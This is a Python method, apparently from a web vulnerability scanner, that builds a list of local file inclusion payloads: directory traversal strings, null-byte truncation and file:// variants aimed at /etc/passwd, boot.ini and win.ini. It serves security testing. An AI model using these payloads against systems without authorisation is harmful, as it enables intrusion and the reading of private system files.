'This method returns a list of local files to try to include.
:return: A string list, see above.'

def _get_common_file_list(self, orig_url):

    local_files = []
    extension = orig_url.get_extension()
    if (cf.cf.get('target_os') in {'unix', 'unknown'}):
        local_files.append((('/../' * 15) + 'etc/passwd'))
        local_files.append((('../' * 15) + 'etc/passwd'))
        local_files.append((('/../' * 15) + 'etc/passwd\x00'))
        local_files.append((('/../' * 15) + 'etc/passwd\x00.html'))
        local_files.append('/etc/passwd')
        local_files.append('file:///etc/passwd')
        local_files.append('/etc/passwd\x00')
        local_files.append('/etc/passwd\x00.html')
        if (extension != ''):
            local_files.append(('/etc/passwd%00.' + extension))
            local_files.append(((('/../' * 15) + 'etc/passwd%00.') + extension))
    if (cf.cf.get('target_os') in {'windows', 'unknown'}):
        local_files.append((('/../' * 15) + 'boot.ini'))
        local_files.append((('../' * 15) + 'boot.ini'))
        local_files.append((('/../' * 15) + 'boot.ini\x00'))
        local_files.append((('/../' * 15) + 'boot.ini\x00.html'))
        local_files.append('C:\\boot.ini')
        local_files.append('C:\\boot.ini\x00')
        local_files.append('C:\\boot.ini\x00.html')
        local_files.append('%SYSTEMROOT%\\win.ini')
        local_files.append('%SYSTEMROOT%\\win.ini\x00')
        local_files.append('%SYSTEMROOT%\\win.ini\x00.html')
        local_files.append('file:///C:/boot.ini')
        local_files.append('file:///C:/win.ini')
        if (extension != ''):
            local_files.append(('C:\\boot.ini%00.' + extension))
            local_files.append(('%SYSTEMROOT%\\win.ini%00.' + extension))
    return local_files
